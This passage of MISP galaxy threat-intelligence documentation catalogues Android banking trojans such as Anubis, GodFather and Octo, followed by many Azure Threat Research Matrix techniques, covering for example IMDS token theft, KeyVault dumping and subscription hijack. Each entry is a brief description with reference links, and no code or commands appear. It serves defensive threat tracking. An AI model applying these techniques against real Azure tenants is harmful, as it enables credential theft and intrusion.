The Banking Trojan found in Google Play is identified as Razdel, a variant of BankBot mobile banking Trojan. This newly observed variant has taken mobile threats to the next level incorporating: Remote access Trojan functions, SMS interception, UI (User Interface) Overlay with masqueraded pages etc.

The tag is: *misp-galaxy:android="Razdel"*

Table 472. Table References

Links
http://www.virusremovalguidelines.com/tag/what-is-bankbot
https://mobile.twitter.com/pr3wtd/status/1097477833625088000

Vulture

Vulture is an Android banking trojan found in Google Play by ThreatFabric. It uses screen recording and keylogging as main strategy to harvest login credentials.

The tag is: *misp-galaxy:android="Vulture"*

Table 473. Table References

Links
https://www.threatfabric.com/blogs/vultur-v-for-vnc.html
https://twitter.com/*icebre4ker*/status/1485651238175846400

Anubis

Starting in June 2018, a number of new malware downloader samples that infect users with BankBot Anubis (aka Go_P00t) was discovered. The campaign features at least 10 malicious downloaders disguised as various applications, all of which fetch mobile banking Trojans that run on Android-based devices. Anubis Masquerades as Google Protect.

The tag is: *misp-galaxy:android="Anubis"*

Table 474. Table References

Links
https://securityintelligence.com/anubis-strikes-again-mobile-malware-continues-to-plague-users-in-official-app-stores/

GodFather

The Android banking Trojan Godfather is currently being utilized by cybercriminals to attack users of popular financial services across the globe. Godfather is designed to allow threat actors to harvest login credentials for banking applications and other financial services, and drain the accounts. To date, its victims include users of over 400 international targets, including banking applications, cryptocurrency wallets, and crypto exchanges. Few people realize that hiding under Godfather's hood is an old banking Trojan called Anubis, whose functionality has become outdated due to Android updates and the efforts of malware detection and prevention providers. Group-IB first detected Godfather, a mobile banking Trojan that steals the banking and cryptocurrency exchange credentials of users, in June 2021. Almost a year later, in March 2022, researchers at Threat Fabric were the first to mention the banking Trojan publicly. A few months later, in June, the Trojan stopped being circulated. One of the reasons, Group-IB analysts believe, why Godfather was taken out of use was for developers to update the Trojan further. Sure enough, Godfather reappeared in September 2022, now with slightly modified WebSocket functionality.

The tag is: *misp-galaxy:android="GodFather"*

View relationships graph

GodFather has relationships with:

- successor-of: misp-galaxy:android="Anubis" with estimative-language:likelihood-probability="likely"

Table 475. Table References

Links
https://blog.group-ib.com/godfather-trojan

Coper

Octo, also known as Coper or ExobotCompact, is an Android banking Trojan that evolved from the Exobot malware family, first observed in 2016. Initially based on the Marcher Trojan, Exobot targeted financial institutions globally until 2018, when a lighter version, ExobotCompact, emerged. By 2021, a new variant appeared, named Coper by some antivirus vendors, but later renamed as Octo — a rebranded and enhanced ExobotCompact. In 2024, Octo2, an even more advanced iteration, was released, driven partly by the leak of Octo's source code. The Malware-as-a-Service (MaaS) model makes Octo accessible to even novice cybercriminals.

The tag is: *misp-galaxy:android="Coper"*

Coper is also known as:

- ExobotCompact
- OCTO
- Octo2

View relationships graph

Coper has relationships with:

- similar: misp-galaxy:malpedia="Coper" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:malpedia="ExoBot" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:android="ExoBot" with estimative-language:likelihood-probability="likely"

Table 476. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.coper
https://x.com/cleafylabs/status/1833145006585987374
https://labs.k7computing.com/index.php/play-store-app-serves-coper-via-github/
https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html
https://thehackernews.com/2022/04/new-octo-banking-trojan-spreading-via.html
https://cert-agid.gov.it/news/analisi-e-approfondimenti-tecnici-sul-malware-coper-utilizzato-per-attaccare-dispositivi-mobili/
https://cert.pl/posts/2021/12/aktywacja-aplikacji-iko/
https://blog.cyble.com/2022/03/24/coper-banking-trojan/
https://www.threatfabric.com/blogs/octo2-european-banks-already-under-attack-by-new-malware-variant
https://www.trendmicro.com/en_us/research/22/g/examining-new-dawdropper-banking-dropper-and-daas-on-the-dark-we.html
https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace
https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/
https://www.team-cymru.com/post/coper-octo-a-conductor-for-mobile-mayhem-with-eight-limbs
https://twitter.com/*icebre4ker*/status/1541875982684094465
https://www.domaintools.com/resources/blog/uncovering-octo2-domains/
https://news.drweb.com/show/?p=0&lng=en&i=14259&c=0
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://any.run/malware-trends/Octo/

ExoBot

an Android banking trojan that went inactive, and its source code leaked.

The tag is: *misp-galaxy:android="ExoBot"*

View relationships graph

ExoBot has relationships with:

- similar: misp-galaxy:malpedia="ExoBot" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:malpedia="Coper" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:android="Coper" with estimative-language:likelihood-probability="likely"

Table 477. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot
https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html
https://www.bleepingcomputer.com/news/security/exobot-author-calls-it-quits-and-sells-off-banking-trojan-source-code/
https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/
https://blog.cyble.com/2022/03/24/coper-banking-trojan/
https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/
https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/
https://www.bleepingcomputer.com/news/security/source-code-for-exobot-android-banking-trojan-leaked-online/
https://any.run/malware-trends/Octo/

Azure Threat Research Matrix

The purpose of the Azure Threat Research Matrix (ATRM) is to educate readers on the potential of Azure-based tactics, techniques, and procedures (TTPs). It is not to teach how to weaponize or specifically abuse them. For this reason, some specific commands will be obfuscated or parts will be omitted to prevent abuse..

Azure Threat Research Matrix is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

AlertIQ - Craig Fretwell - Dor Edry - Jonny Johnson - Karl Fosaaen - MITRE ATT&CK - Manuel Berrueta - Microsoft - Nestori Syynimaa - Nikhil Mittal - Ram Pliskin - Roberto Rodriguez - Ryan Cobb

AZT101 - Port Mapping

It is possible to view the open ports on a virtual machine by viewing the Virtual Network Interface's assigned Network Security Group

The tag is: *misp-galaxy:atrm="AZT101 - Port Mapping"*

Table 478. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT101/AZT101

AZT102 - IP Discovery

It is possible to view the IP address on a resource by viewing the Virtual Network Interface

The tag is: *misp-galaxy:atrm="AZT102 - IP Discovery"*

Table 479. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT102/AZT102

AZT103 - Public Accessible Resource

A resource within Azure is accessible from the public internet.

The tag is: *misp-galaxy:atrm="AZT103 - Public Accessible Resource"*

Table 480. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT103/AZT103

AZT104 - Gather User Information

An adversary may obtain information about a User within Azure Active Directory. Details may include email addresses, first/last names, job information, addresses, and assigned roles. By default, all users are able to read other user's roles and group memberships within AAD.

The tag is: *misp-galaxy:atrm="AZT104 - Gather User Information"*

Table 481. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT104/AZT104

AZT105 - Gather Application Information

An adversary may obtain information about an application within Azure Active Directory.

The tag is: *misp-galaxy:atrm="AZT105 - Gather Application Information"*

Table 482. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT105/AZT105

AZT106 - Gather Role Information

An adversary may obtain information about a role within Azure Active Directory or within Azure Resource Manager.

The tag is: *misp-galaxy:atrm="AZT106 - Gather Role Information"*

Table 483. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106

AZT106.1 - Gather AAD Role Information

An adversary may gather role assignments within Azure Active Directory.

The tag is: *misp-galaxy:atrm="AZT106.1 - Gather AAD Role Information"*

Table 484. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106-1

AZT106.2 - Gather Application Role Information

An adversary may gather information about an application role & it’s member assignments within Azure Active Directory.

The tag is: *misp-galaxy:atrm="AZT106.2 - Gather Application Role Information"*

Table 485. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106-2

AZT106.3 - Gather Azure Resources Role Assignments

An adversary may gather role assignments for a specific Azure Resource, Resource Group, or Subscription.

The tag is: *misp-galaxy:atrm="AZT106.3 - Gather Azure Resources Role Assignments"*

Table 486. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT106/AZT106-3

AZT107 - Gather Resource Data

An adversary may obtain information and data within a resource.

The tag is: *misp-galaxy:atrm="AZT107 - Gather Resource Data"*

Table 487. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT107/AZT107

AZT108 - Gather Victim Data

An adversary may access a user's personal data if their account is compromised. This includes data such as email, OneDrive, Teams, etc.

The tag is: *misp-galaxy:atrm="AZT108 - Gather Victim Data"*

Table 488. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Reconnaissance/AZT108/AZT108

AZT201 - Valid Credentials

Adversaries may login to AzureAD using valid credentials. By logging in with valid credentials to an account or service principal, the adversary will assume all privileges of that account or service principal. If the account is privileged, this may lead to other tactics, such as persistence or privilege escalation.

The tag is: *misp-galaxy:atrm="AZT201 - Valid Credentials"*

Table 489. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT201/AZT201

AZT201.1 - User Account

By obtaining valid user credentials, an adversary may login to AzureAD via command line or through the Azure Portal.

The tag is: *misp-galaxy:atrm="AZT201.1 - User Account"*

Table 490. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT201/AZT201-1

AZT201.2 - Service Principal

By obtaining a valid secret or certificate, an adversary may login to AzureAD via command line.

The tag is: *misp-galaxy:atrm="AZT201.2 - Service Principal"*

Table 491. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT201/AZT201-2

AZT202 - Password Spraying

An adversary may potentially gain access to AzureAD by guessing a common password for multiple users.

The tag is: *misp-galaxy:atrm="AZT202 - Password Spraying"*

Table 492. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT202/AZT202

AZT203 - Malicious Application Consent

An adversary may lure a victim into giving their access to a malicious application registered in AzureAD.

The tag is: *misp-galaxy:atrm="AZT203 - Malicious Application Consent"*

Table 493. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT203/AZT203

AZT301 - Virtual Machine Scripting

Adversaries may abuse access to virtual machines by executing a script through various methods in order to gain access to the Virtual Machine.

The tag is: *misp-galaxy:atrm="AZT301 - Virtual Machine Scripting"*

Table 494. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301

AZT301.1 - RunCommand

By utilizing the 'RunCommand' feature on a Virtual Machine, an attacker can pass:* **Windows**: PowerShell commands to the VM as SYSTEM.* **Linux**: Shell commands to the VM as root.

The tag is: *misp-galaxy:atrm="AZT301.1 - RunCommand"*

Table 495. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-1

AZT301.2 - CustomScriptExtension

By utilizing the 'CustomScriptExtension' extension on a Virtual Machine, an attacker can pass PowerShell commands to the VM as SYSTEM.

The tag is: *misp-galaxy:atrm="AZT301.2 - CustomScriptExtension"*

Table 496. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-2

AZT301.3 - Desired State Configuration

By utilizing the 'Desired State Configuration extension' extension on a Virtual Machine, an attacker can pass PowerShell commands to the VM as SYSTEM.

The tag is: *misp-galaxy:atrm="AZT301.3 - Desired State Configuration"*

Table 497. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-3

AZT301.4 - Compute Gallery Application

By utilizing Compute Gallery Applications, an attacker can pass MS-DOS or PowerShell commands to the VM as SYSTEM.

The tag is: *misp-galaxy:atrm="AZT301.4 - Compute Gallery Application"*

Table 498. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-4

AZT301.5 - AKS Command Invoke

By utilizing 'command invoke' on an Azure Kubernetes Service (AKS) cluster, an attacker can pass commands to the cluster's VM as SYSTEM

The tag is: *misp-galaxy:atrm="AZT301.5 - AKS Command Invoke"*

Table 499. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-5

AZT301.6 - Vmss Run Command

By utilizing the 'RunCommand' feature on a virtual machine scale set (Vmss), an attacker can execute a command on an instance or instances of VMs as:* **Windows**: PowerShell commands to the VM as SYSTEM.* **Linux**: Shell commands to the VM as root.

The tag is: *misp-galaxy:atrm="AZT301.6 - Vmss Run Command"*

Table 500. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-6

AZT301.7 - Serial Console

By utilizing the serial console feature on an Azure Virtual Machine, an adversary can pass arbitrary commands.

The tag is: *misp-galaxy:atrm="AZT301.7 - Serial Console"*

Table 501. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-7

AZT302 - Serverless Scripting

Adversaries may abuse access to serverless resources that are able to execute PowerShell or Python scripts on an Azure resource.

The tag is: *misp-galaxy:atrm="AZT302 - Serverless Scripting"*

Table 502. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302

AZT302.1 - Automation Account Runbook Hybrid Worker Group

By utilizing an Automation Account configured with a Hybrid Worker Group, an attacker can execute Azure commands on any Azure VM within that Hybrid Worker Group.

The tag is: *misp-galaxy:atrm="AZT302.1 - Automation Account Runbook Hybrid Worker Group"*

Table 503. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-1

AZT302.2 - Automation Account Runbook RunAs Account

By utilizing an Automation Account configured with a RunAs account, an attacker can execute commands on an Azure VM via RunCommand [(AZT301.1)](../AZT301/AZT301-1.md) if that service principal has the correct role and privileges.

The tag is: *misp-galaxy:atrm="AZT302.2 - Automation Account Runbook RunAs Account"*

Table 504. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-2

AZT302.3 - Automation Account Runbook Managed Identity

By utilizing an Automation Account configured with a Managed Identity, an attacker can execute commands on an Azure VM via RunCommand [(AZT301.1)](../AZT301/AZT301-1.md) if that service principal has the correct role and privileges.

The tag is: *misp-galaxy:atrm="AZT302.3 - Automation Account Runbook Managed Identity"*

Table 505. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-3

AZT302.4 - Function Application

By utilizing a Function Application, an attacker can execute Azure operations on a given resource.

The tag is: *misp-galaxy:atrm="AZT302.4 - Function Application"*

Table 506. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT302/AZT302-4

AZT303 - Managed Device Scripting

Adversaries may abuse access to any managed devices in AzureAD by executing PowerShell or Python scripts on them.

The tag is: *misp-galaxy:atrm="AZT303 - Managed Device Scripting"*

Table 507. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT303/AZT303

AZT401 - Privileged Identity Management Role

An adversary may escalate their privileges if their current account is eligible for role activation via Privileged Identity Management (PIM).

The tag is: *misp-galaxy:atrm="AZT401 - Privileged Identity Management Role"*

Table 508. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT401/AZT401

AZT402 - Elevated Access Toggle

An adversary may escalate their privileges from Azure AD to all Azure subscriptions in the tenant if they are a global administrator

The tag is: *misp-galaxy:atrm="AZT402 - Elevated Access Toggle"*

Table 509. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT402/AZT402

AZT403 - Local Resource Hijack

By modifying the .bashrc file in a CloudShell .IMG file, an adversary may escalate their privileges by injecting commands that will add an arbitrary user account to a desired role and scope.

The tag is: *misp-galaxy:atrm="AZT403 - Local Resource Hijack"*

Table 510. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT403/AZT403-1

AZT404 - Principal Impersonation

Adversaries may abuse resources that are configured with a service principal or other identity to further their access to the current or other resources.

The tag is: *misp-galaxy:atrm="AZT404 - Principal Impersonation"*

Table 511. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404

AZT404.1 - Function Application

By utilizing a Function Application configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.

The tag is: *misp-galaxy:atrm="AZT404.1 - Function Application"*

Table 512. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-1

AZT404.2 - Logic Application

By utilizing a Logic Application configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.

The tag is: *misp-galaxy:atrm="AZT404.2 - Logic Application"*

Table 513. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-2

AZT404.3 - Automation Account

By utilizing a Function Application, an attacker can execute Azure operations on a given resource.

The tag is: *misp-galaxy:atrm="AZT404.3 - Automation Account"*

Table 514. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-3

AZT404.4 - App Service

By utilizing an App Service configured with a managed identity or other identity provider, an attacker can execute Azure operations on a given resource.

The tag is: *misp-galaxy:atrm="AZT404.4 - App Service"*

Table 515. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT404/AZT404-4

AZT405 - Azure AD Application

Adversaries may abuse the assigned permissions on an Azure AD Application to escalate their privileges.

The tag is: *misp-galaxy:atrm="AZT405 - Azure AD Application"*

Table 516. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405

AZT405.1 - Application API Permissions

By compromising a user, user in a group, or service principal that has an application role over an application, they may be able to escalate their privileges by impersonating the associated service principal and leveraging any privileged assigned application role.

The tag is: *misp-galaxy:atrm="AZT405.1 - Application API Permissions"*

Table 517. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405-1

AZT405.2 - Application Role

By compromising a service principal whose application has privileged API permissions, an attacker can escalate their privileges to a higher privileged role.

The tag is: *misp-galaxy:atrm="AZT405.2 - Application Role"*

Table 518. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405-2

AZT405.3 - Application Registration Owner

By compromising an account who is an 'Owner' over an application that is configured with additional roles or API permissions, an attacker can escalate their privileges by adding a certificate or credentials & logging in as the service principal.

The tag is: *misp-galaxy:atrm="AZT405.3 - Application Registration Owner"*

Table 519. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT405/AZT405-3

AZT501 - Account Manipulation

An adverary may manipulate an account to maintain access in an Azure tenant

The tag is: *misp-galaxy:atrm="AZT501 - Account Manipulation"*

Table 520. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501

AZT501.1 - User Account Manipulation

An adverary may manipulate a user account to maintain access in an Azure tenant

The tag is: *misp-galaxy:atrm="AZT501.1 - User Account Manipulation"*

Table 521. Table References

Links

https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501-1

AZT501.2 - Service Principal Manipulation

An adverary may manipulate a service principal to maintain access in an Azure tenant

The tag is: *misp-galaxy:atrm="AZT501.2 - Service Principal Manipulation"*

Table 522. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501-2

AZT501.3 - Azure VM Local Administrator Manipulation

An adverary may manipulate the local admin account on an Azure VM

The tag is: *misp-galaxy:atrm="AZT501.3 - Azure VM Local Administrator Manipulation"*

Table 523. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT501/AZT501-3

AZT502 - Account Creation

An adversary may create an account in Azure Active Directory.

The tag is: *misp-galaxy:atrm="AZT502 - Account Creation"*

Table 524. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502

AZT502.1 - User Account Creation

An adversary may create an application & service principal in Azure Active Directory

The tag is: *misp-galaxy:atrm="AZT502.1 - User Account Creation"*

Table 525. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502-1

AZT502.2 - Service Principal Creation

An adversary may create an application & service principal in Azure Active Directory

The tag is: *misp-galaxy:atrm="AZT502.2 - Service Principal Creation"*

Table 526. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502-2

AZT502.3 - Guest Account Creation

An adversary may create a guest account in Azure Active Directory

The tag is: *misp-galaxy:atrm="AZT502.3 - Guest Account Creation"*

Table 527. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT502/AZT502-3

AZT503 - HTTP Trigger

Adversaries may configure a resource with an HTTP trigger to run commands without needing authentication.

The tag is: *misp-galaxy:atrm="AZT503 - HTTP Trigger"*

Table 528. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503

AZT503.1 - Logic Application HTTP Trigger

Adversaries may configure a Logic Application with a user account or managed identity and modify the HTTP trigger to run a command via HTTP request.

The tag is: *misp-galaxy:atrm="AZT503.1 - Logic Application HTTP Trigger"*

Table 529. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-1

AZT503.2 - Function App HTTP Trigger

Adversaries may configure a Function Application with a user account or managed identity and modify the HTTP trigger to run a command via HTTP request.

The tag is: *misp-galaxy:atrm="AZT503.2 - Function App HTTP Trigger"*

Table 530. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-2

AZT503.3 - Runbook Webhook

Adversaries may create a webhook to a Runbook which allows unauthenticated access into an Azure subscription or tenant.

The tag is: *misp-galaxy:atrm="AZT503.3 - Runbook Webhook"*

Table 531. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-3

AZT503.4 - WebJob

Adversaries may create a WebJob on a App Service which allows arbitrary background tasks to be run on a set schedule

The tag is: *misp-galaxy:atrm="AZT503.4 - WebJob"*

Table 532. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT503/AZT503-4

AZT504 - Watcher Tasks

By configurating a watcher task and a Runbook, an adversary can establish persistence by executing the Runbook on a triggered event.

The tag is: *misp-galaxy:atrm="AZT504 - Watcher Tasks"*

Table 533. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT504/AZT504

AZT505 - Scheduled Jobs

Adversaries may create a schedule for a Runbook to run at a defined interval.

The tag is: *misp-galaxy:atrm="AZT505 - Scheduled Jobs"*

Table 534. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT505/AZT505-1

AZT506 - Network Security Group Modification

Adversaries can modify the rules in a Network Security Group to establish access over additional ports.

The tag is: *misp-galaxy:atrm="AZT506 - Network Security Group Modification"*

Table 535. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT506/AZT506

AZT507 - External Entity Access

Adversaries may configure the target Azure tenant to be managed by another, externel tenant, or its users.

The tag is: *misp-galaxy:atrm="AZT507 - External Entity Access"*

Table 536. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507

AZT507.1 - Azure Lighthouse

Adversaries may utilize Azure Lighthouse to manage the target tenant from an external tenant

The tag is: *misp-galaxy:atrm="AZT507.1 - Azure Lighthouse"*

Table 537. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-1

AZT507.2 - Microsoft Partners

Adversaries may use Delegated Administrative Privileges to give themselves administrator access to the target tenant.

The tag is: *misp-galaxy:atrm="AZT507.2 - Microsoft Partners"*

Table 538. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-2

AZT507.3 - Subscription Hijack

An adversary may transfer a subscription from a target tenant to an attacker-controlled tenant. This retains the billing account setup by the target and the target tenant administrators will no longer have control over the subscription.

The tag is: *misp-galaxy:atrm="AZT507.3 - Subscription Hijack"*

Table 539. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-3

AZT507.4 - Domain Trust Modification

An adversary may add an additional identity provider or domain to maintain a backdoor into the tenant.

The tag is: *misp-galaxy:atrm="AZT507.4 - Domain Trust Modification"*

Table 540. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-4

AZT508 - Azure Policy

By configuring a policy with the 'DeployIfNotExists' definition, an adverary may establish persistence by creating a backdoor when the policy is triggered.

The tag is: *misp-galaxy:atrm="AZT508 - Azure Policy"*

Table 541. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT508/AZT508

AZT601 - Steal Managed Identity JsonWebToken

An adverary may utilize the resource's functionality to obtain a JWT for the applied Managed Identity Service Principal account.

The tag is: *misp-galaxy:atrm="AZT601 - Steal Managed Identity JsonWebToken"*

Table 542. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601

AZT601.1 - Virtual Machine IMDS Request

By utilizing access to IMDS, an attacker can request a JWT for a Managed Identity on an Azure VM if they have access to execute commands on the system.

The tag is: *misp-galaxy:atrm="AZT601.1 - Virtual Machine IMDS Request"*

Table 543. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-1

AZT601.2 - Azure Kubernetes Service IMDS Request

By utilizing access to IMDS, an attacker can request a JWT for a Managed Identity on an AKS Cluster if they have access to execute commands on the system.

The tag is: *misp-galaxy:atrm="AZT601.2 - Azure Kubernetes Service IMDS Request"*

Table 544. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-2

AZT601.3 - Logic Application JWT PUT Request

If a Logic App is using a Managed Identity, an adversary can modify the logic to make an HTTP POST request to reveal the Managed Identity's JWT.

The tag is: *misp-galaxy:atrm="AZT601.3 - Logic Application JWT PUT Request"*

Table 545. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-3

AZT601.4 - Function Application JWT GET Request

If a Function App is using a Managed Identity, an adversary can modify the logic respond to an HTTP GET request to reveal the Managed Identity's JWT.

The tag is: *misp-galaxy:atrm="AZT601.4 - Function Application JWT GET Request"*

Table 546. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-4

AZT601.5 - Automation Account Runbook

If an Automation Account is using a Managed Identity, an adversary can create a Runbook to request the Managed Identity's JWT.

The tag is: *misp-galaxy:atrm="AZT601.5 - Automation Account Runbook"*

Table 547. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT601/AZT601-5

AZT602 - Steal Service Principal Certificate

If a Runbook is utilizing a 'RunAs' account, then an adversary may manipulate the Runbook to reveal the certificate the Service Principal is using for authentication.

The tag is: *misp-galaxy:atrm="AZT602 - Steal Service Principal Certificate"*

Table 548. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT602/AZT602-1

AZT603 - Service Principal Secret Reveal

If a Function App is using a service principal for authentication, an adversary may manipulate the function app logic to reveal the service principal's secret in plain text.

The tag is: *misp-galaxy:atrm="AZT603 - Service Principal Secret Reveal"*

Table 549. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT603/AZT603-1

AZT604 - Azure KeyVault Dumping

An adverary may access an Azure KeyVault in an attempt to view secrets, certificates, or keys.

The tag is: *misp-galaxy:atrm="AZT604 - Azure KeyVault Dumping"*

Table 550. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604

AZT604.1 - Azure KeyVault Secret Dump

By accessing an Azure Key Vault, an adversary may dump any or all secrets.

The tag is: *misp-galaxy:atrm="AZT604.1 - Azure KeyVault Secret Dump"*

Table 551. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604-1

AZT604.2 - Azure KeyVault Certificate Dump

By accessing an Azure Key Vault, an adversary may dump any or all certificates.

The tag is: *misp-galaxy:atrm="AZT604.2 - Azure KeyVault Certificate Dump"*

Table 552. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604-2

AZT604.3 - Azure KeyVault Key Dump

By accessing an Azure Key Vault, an adversary may dump any or all public keys. Note that Private keys cannot be retrieved.

The tag is: *misp-galaxy:atrm="AZT604.3 - Azure KeyVault Key Dump"*

Table 553. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT604/AZT604-3

AZT605 - Resource Secret Reveal

An adverary may access an Azure KeyVault in an attempt to view secrets, certificates, or keys.

The tag is: *misp-galaxy:atrm="AZT605 - Resource Secret Reveal"*

Table 554. Table References

Links
https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605

AZT605.1 - Storage Account Access Key Dumping

By accessing a Storage Account, an adversary may dump access keys pertaining to the Storage Account, which will give them full access to the Storage Account.

The tag is: *misp-galaxy:atrm="AZT605.1 - Storage Account Access Key Dumping"*

Table 555. Table References

Links
